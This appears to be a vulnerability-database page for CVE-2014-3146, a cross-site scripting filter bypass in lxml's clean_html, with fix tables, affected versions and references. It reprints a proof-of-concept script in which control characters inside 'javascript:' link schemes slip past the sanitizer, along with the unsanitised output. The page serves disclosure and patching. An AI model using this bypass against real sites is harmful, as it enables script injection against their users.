CVE-2014-3146
Description
Incomplete blacklist vulnerability in the lxml.html.clean module in lxml before 3.3.5 allows remote attackers to conduct cross-site scripting (XSS) attacks via control characters in the link scheme to the clean_html function.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
lxml - 'clean_html' Security Bypass
source: https://www.securityfocus.com/bid/67159/info
lxml is prone to a security-bypass vulnerability.
An attacker can leverage this issue to bypass security restrictions and perform unauthorized actions. This may aid in further attacks.
Versions prior to lxml 3.3.5 are vulnerable.
from lxml.html.clean import clean_html
html = '''\
<html>
<body>
<a href="javascript:alert(0)">
aaa</a>
<a href="javas\x01cript:alert(1)">bbb</a>
<a href="javas\x02cript:alert(1)">bbb</a>
<a href="javas\x03cript:alert(1)">bbb</a>
<a href="javas\x04cript:alert(1)">bbb</a>
<a href="javas\x05cript:alert(1)">bbb</a>
<a href="javas\x06cript:alert(1)">bbb</a>
<a href="javas\x07cript:alert(1)">bbb</a>
<a href="javas\x08cript:alert(1)">bbb</a>
<a href="javas\x09cript:alert(1)">bbb</a>
</body>
</html>'''
print clean_html(html)
Output:
<div>
<body>
<a href="">aaa</a>
<a href="javascript:alert(1)">
bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="">bbb</a>
</body>
</div>
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 3.3.5-1 |
| sid | Fixed | 3.3.5-1 |
| forky | Fixed | 3.3.5-1 |
| bullseye | Fixed | 3.3.5-1 |
| bookworm | Fixed | 3.3.5-1 |
Package impact
| Ecosystem | Package | Vulnerable | Fixed |
|---|---|---|---|
| PyPI | lxml | <3.3.5 | 3.3.5 |
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| lxml | lxml | {"endIncluding":"3.3.4"} | |
| lxml | lxml | 0.5 | |
| lxml | lxml | 0.5.1 | |
| lxml | lxml | 0.6 | |
| lxml | lxml | 0.7 | |
| lxml | lxml | 0.8 | |
| lxml | lxml | 0.9 | |
| lxml | lxml | 0.9.1 | |
| lxml | lxml | 0.9.2 | |
| lxml | lxml | 1.0 | |
| lxml | lxml | 1.0.1 | |
| lxml | lxml | 1.0.2 | |
| lxml | lxml | 1.0.3 | |
| lxml | lxml | 1.0.4 | |
| lxml | lxml | 1.1 | |
| lxml | lxml | 1.1.1 | |
| lxml | lxml | 1.1.2 | |
| lxml | lxml | 1.2 | |
| lxml | lxml | 1.2.1 | |
| lxml | lxml | 1.3 | |
| lxml | lxml | 1.3.1 | |
| lxml | lxml | 1.3.2 | |
| lxml | lxml | 1.3.3 | |
| lxml | lxml | 1.3.4 | |
| lxml | lxml | 1.3.5 | |
| lxml | lxml | 1.3.6 | |
| lxml | lxml | 2.0 | |
| lxml | lxml | 2.0.1 | |
| lxml | lxml | 2.0.2 | |
| lxml | lxml | 2.0.3 | |
| lxml | lxml | 2.0.4 | |
| lxml | lxml | 2.0.5 | |
| lxml | lxml | 2.0.6 | |
| lxml | lxml | 2.0.7 | |
| lxml | lxml | 2.0.8 | |
| lxml | lxml | 2.0.9 | |
| lxml | lxml | 2.0.10 | |
| lxml | lxml | 2.0.11 | |
| lxml | lxml | 2.1 | |
| lxml | lxml | 2.1.1 | |
| lxml | lxml | 2.1.2 | |
| lxml | lxml | 2.1.3 | |
| lxml | lxml | 2.1.4 | |
| lxml | lxml | 2.2 | |
| lxml | lxml | 2.2.1 | |
| lxml | lxml | 2.2.2 | |
| lxml | lxml | 2.2.3 | |
| lxml | lxml | 2.2.4 | |
| lxml | lxml | 2.2.5 | |
| lxml | lxml | 2.2.6 | |
| lxml | lxml | 2.2.7 | |
| lxml | lxml | 2.2.8 | |
| lxml | lxml | 2.3 | |
| lxml | lxml | 2.3.1 | |
| lxml | lxml | 2.3.2 | |
| lxml | lxml | 2.3.3 | |
| lxml | lxml | 2.3.4 | |
| lxml | lxml | 2.3.5 | |
| lxml | lxml | 2.3.6 | |
| lxml | lxml | 3.0 | |
| lxml | lxml | 3.0.1 | |
| lxml | lxml | 3.0.2 | |
| lxml | lxml | 3.1 | |
| lxml | lxml | 3.1.0 | |
| lxml | lxml | 3.1.1 | |
| lxml | lxml | 3.1.2 | |
| lxml | lxml | 3.2.0 | |
| lxml | lxml | 3.2.1 | |
| lxml | lxml | 3.2.2 | |
| lxml | lxml | 3.2.3 | |
| lxml | lxml | 3.2.4 | |
| lxml | lxml | 3.2.5 | |
| lxml | lxml | 3.3.0 | |
| lxml | lxml | 3.3.1 | |
| lxml | lxml | 3.3.2 | |
| lxml | lxml | 3.3.3 | |
References
- https://nvd.nist.gov/vuln/detail/CVE-2014-3146
- https://github.com/lxml/lxml/pull/273
- https://github.com/lxml/lxml/commit/3f3082e0a67851cde26a48da3d1f4b75d8aa07ec
- https://github.com/lxml/lxml/commit/86e81ab393ba14c1be71284675851a3bdce57d69
- https://github.com/lxml/lxml/commit/e86b294f1f81b899a59925123560ff924a72f1cc
- https://github.com/lxml/lxml
- https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2014-9.yaml
- https://mailman-mail5.webfaction.com/pipermail/lxml/2014-April/007128.html
- https://web.archive.org/web/20140724172044/http://secunia.com/advisories/58013
- https://web.archive.org/web/20140805110535/http://secunia.com/advisories/59008
- https://web.archive.org/web/20140806061046/http://secunia.com/advisories/58744
- https://web.archive.org/web/20141017122607/https://mailman-mail5.webfaction.com/pipermail/lxml/2014-April/007128.html
- https://web.archive.org/web/20150523055039/http://www.mandriva.com/en/support/security/advisories/advisory/MDVSA-2015:112/?name=MDVSA-2015:112
- https://web.archive.org/web/20200228180542/http://www.securityfocus.com/bid/67159
- http://advisories.mageia.org/MGASA-2014-0218.html
- http://lists.opensuse.org/opensuse-updates/2014-05/msg00083.html
- http://lxml.de/3.3/changes-3.3.5.html
- http://seclists.org/fulldisclosure/2014/Apr/210
- http://seclists.org/fulldisclosure/2014/Apr/319
- http://www.debian.org/security/2014/dsa-2941
- http://www.openwall.com/lists/oss-security/2014/05/09/7
- http://www.ubuntu.com/usn/USN-2217-1
- http://secunia.com/advisories/58013
- http://secunia.com/advisories/58744
- http://secunia.com/advisories/59008
CWEs
CWE-79
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.